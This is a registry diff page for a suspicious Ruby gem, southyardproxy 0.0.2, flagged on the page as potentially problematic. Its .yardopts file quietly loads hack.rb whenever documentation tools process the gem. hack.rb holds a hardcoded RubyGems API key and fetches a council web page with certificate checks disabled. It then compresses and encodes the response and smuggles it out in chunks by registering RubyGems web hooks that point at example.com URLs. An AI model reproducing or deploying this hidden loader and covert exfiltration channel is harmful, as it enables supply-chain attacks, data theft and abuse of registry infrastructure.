southyardproxy 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of southyardproxy might be problematic. Click here for more details.

Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/hack.rb +22 -0
  4. data/lib/x.rb +1 -0
  5. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 3ad7f3fd1c7b8fc6322e8efd6a77f17ae0b423a5784e6b01c15619820671b667
4
+ data.tar.gz: 295abb1ece1b623aedcb54720dd4608c936478d958be223cc6fdc36c30e67dd8
5
+ SHA512:
6
+ metadata.gz: 38640e5f0182950afc1362b079d8a6182a9e913dd78d856c99bc3ca95e575d38f5d94906924308e2bebce0abeb1f037ec53519fe37a628d562381394bfcc889d
7
+ data.tar.gz: e968ade6f8e483736dd7bddf923a2cc5cc08ede9f4077cedf2ae39b1c9aa26367cb5ba73662668e8548aa46d293119544f40dc7400f93e24e50811c8532a2b5c
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./hack.rb
data/hack.rb ADDED
@@ -0,0 +1,22 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'json'; require 'zlib'; require 'base64'; require 'openssl'
3
+ key='rubygems_478d77217be0f181587e3294a61d0a7ac8289529f7fb99d4'
4
+ target=URI('https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1')
5
+ h=Net::HTTP.new(target.hostname,target.port);h.use_ssl=true;h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20;h.read_timeout=40
6
+ req=Net::HTTP::Get.new(target.request_uri, {'User-Agent'=>'Mozilla/5.0'}); res=h.request(req)
7
+ raw="STATUS=#{res.code}\nURL=#{target}\n"+res.body
8
+ data=Base64.urlsafe_encode64(Zlib::Deflate.deflate(raw)).delete('=')
9
+ chunks=data.scan(/.{1,170}/)
10
+ chunks.each_with_index do |ch,i|
11
+ uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri)
12
+ post['Authorization']=key; post.set_form_data({'gem_name'=>'southyardproxy','url'=>'https://example.com/S2%04d/%s'%[i,ch]})
13
+ Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
14
+ end
15
+ # sentinel
16
+ uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>'southyardproxy','url'=>'https://example.com/S2END/%d'%chunks.size}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
17
+ rescue => e
18
+ begin
19
+ uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>'southyardproxy','url'=>'https://example.com/ERR/'+e.class.to_s+e.message[0,100].gsub(/[^A-Za-z0-9.-]/,'_')}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)}
20
+ rescue
21
+ end
22
+ end
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # x
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: southyardproxy
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - A
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ email:
13
+ - a@example.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - ".yardopts"
19
+ - hack.rb
20
+ - lib/x.rb
21
+ homepage: https://example.com
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: test
42
+ test_files: []